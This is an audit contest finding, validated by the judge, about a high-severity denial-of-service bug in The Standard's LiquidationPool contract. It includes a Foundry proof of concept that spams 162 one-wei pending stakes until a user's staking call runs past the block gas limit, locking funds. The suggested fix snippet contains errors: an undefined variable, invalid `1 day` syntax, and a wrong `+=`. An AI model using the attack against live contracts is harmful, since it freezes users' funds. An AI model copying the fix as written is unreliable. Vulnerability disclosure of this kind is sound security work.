The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Unbounded loop in consolidatePendingStakes() can break the liquidationPool contract and lock user's fund

Summary

consolidatePendingStakes is used to confirm pending stakes (that remains pending for at least 1 day) that are created during increasePosition function calls.

However an unbounded loop in the function can break the liquidationPool contract and lock users' funds forever if there are a certain amount of pending stakes.

Vulnerability Details

The vulnerability can be triggered in two scenarios:

  1. during one-day timeframe there are a certain number of deposits

  2. an attacker creates a certain number of deposits to break the LiquidationPool contract

In my testing, I found that the number of PendingStakes to cause the consolidatePendingStakes function to revert is 162 on mainnet, though this number may vary slightly on L2s. However, on mainnet, using even a lower number could still deter users from executing function calls, given the prohibitively high fees that would be incurred.

Proof of concept:

Below a PoC illustrating the second scenario.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import "forge-std/console.sol";
import "forge-std/Test.sol";
import "../contracts/LiquidationPoolManager.sol";
import "../contracts/utils/ERC20Mock.sol";
import "../contracts/utils/EUROsMock.sol";
import "../contracts/utils/MockSmartVaultManager.sol";
import "../contracts/utils/ChainlinkMock.sol";
import "../contracts/utils/TokenManagerMock.sol";
contract LiquidationPoolTest is Test {
uint256 constant HUNDRED_PC = 100000;
uint256 constant DEFAULT_COLLATERAL_RATE = 120000; // 120%
int256 constant DEFAULT_ETH_USD_PRICE = 160000000000; // $1600
int256 constant DEFAULT_EUR_USD_PRICE = 106000000; // $1.06
int256 constant DEFAULT_WBTC_USD_PRICE = 3500000000000; // $35,000
int256 constant DEFAULT_USDC_USD_PRICE = 100000000;
uint256 constant PROTOCOL_FEE_RATE = 500; // 0.5%
uint32 constant POOL_FEE_PERCENTAGE = 50000; // 50%
ERC20Mock TST;
ERC20Mock WBTC;
ERC20Mock USDC;
EUROsMock EUROs;
ChainlinkMock eurUsd;
ChainlinkMock ethUsd;
ChainlinkMock wbtcUsd;
ChainlinkMock usdcUsd;
TokenManagerMock tokenManager;
MockSmartVaultManager mockSmartVaultManager;
LiquidationPoolManager liquidationPoolManager;
LiquidationPool liquidationPool;
function setUp() public {
vm.warp(10 days);
address protocol = vm.addr(0x12345678);
TST = new ERC20Mock("The Standard Token", "TST", 18);
EUROs = new EUROsMock();
eurUsd = new ChainlinkMock("EUR/USD");
eurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
WBTC = new ERC20Mock('Wrapped Bitcoin', 'WBTC', 8);
USDC = new ERC20Mock('USD Coin', 'USDC', 6);
ethUsd = new ChainlinkMock('ETH/USD'); // $1600
ethUsd.setPrice(DEFAULT_ETH_USD_PRICE);
wbtcUsd = new ChainlinkMock('WBTC/USD'); // $35,000
wbtcUsd.setPrice(DEFAULT_WBTC_USD_PRICE);
usdcUsd = new ChainlinkMock('USDC/USD'); // 1$
usdcUsd.setPrice(DEFAULT_USDC_USD_PRICE);
tokenManager = new TokenManagerMock('ETH', address(ethUsd));
tokenManager.addAcceptedToken(address(WBTC), address(wbtcUsd));
tokenManager.addAcceptedToken(address(USDC), address(usdcUsd));
mockSmartVaultManager = new MockSmartVaultManager(DEFAULT_COLLATERAL_RATE, address(tokenManager));
liquidationPoolManager =
new LiquidationPoolManager(address(TST), address(EUROs), address(mockSmartVaultManager), address(eurUsd), payable(protocol), POOL_FEE_PERCENTAGE);
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
EUROs.grantRole(EUROs.BURNER_ROLE(), address(liquidationPool));
}
function testUnboundedArray() public {
address attacker = vm.addr(0x666);
address user = vm.addr(0x777);
TST.mint(attacker, 1 ether);
TST.mint(user, 1 ether);
// attacker creates 162 addresses transfer 1 wei of TST to each and increase position in liquidation pool
address[] memory holders = new address[](162);
uint256 gasBefore = gasleft();
for (uint256 i; i < 162; i++) {
holders[i] = vm.addr(i + 1);
vm.prank(attacker);
TST.transfer(holders[i], 1);
vm.startPrank(holders[i]);
TST.approve(address(liquidationPool), 1);
liquidationPool.increasePosition(1, 0);
vm.stopPrank();
}
uint256 gasAfter = gasleft();
console.log("attack gas used: ", gasBefore - gasAfter); // 45181491 gas used in the worst case ~2915 USD at currenct gas cost
// a user who then try to increasePosition after deadline (1 day) will revert
vm.warp(block.timestamp + 1 days + 1);
gasBefore = gasleft();
vm.startPrank(user);
TST.approve(address(liquidationPool), 1 ether);
liquidationPool.increasePosition(1 ether, 0);
vm.stopPrank();
gasAfter = gasleft();
console.log("increasePosition gas used: ", gasBefore - gasAfter); // 30290931 gas used exceeds block limit (30000000 gas)
}
}

Impact

LiquidationPool contract is broken. Users staked funds are lost. In particular these functions are involved:

  • increasePosition: users will not be able to stake their tokens

  • decreasePosition: user will not be able to withdraw their tokens

  • distributeAssets: can't liquidate Smart Vaults

Tools Used

Manual review.

Recommendations

Consider revising the pending process. One approach might be to immediately set the user's position with a timestamp attribute, from which point the position is no longer pending.

struct Position {
address holder;
uint256 TST;
uint256 EUROs;
uint256 validFrom; // insert a validation timestamp here
}
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
positions[_stake.holder].validFrom += block.timestamp + 1 day; // set the timestamp here
addUniqueHolder(msg.sender);
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

darksnow Submitter
over 1 year ago
hrishibhat Lead Judge
over 1 year ago
hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.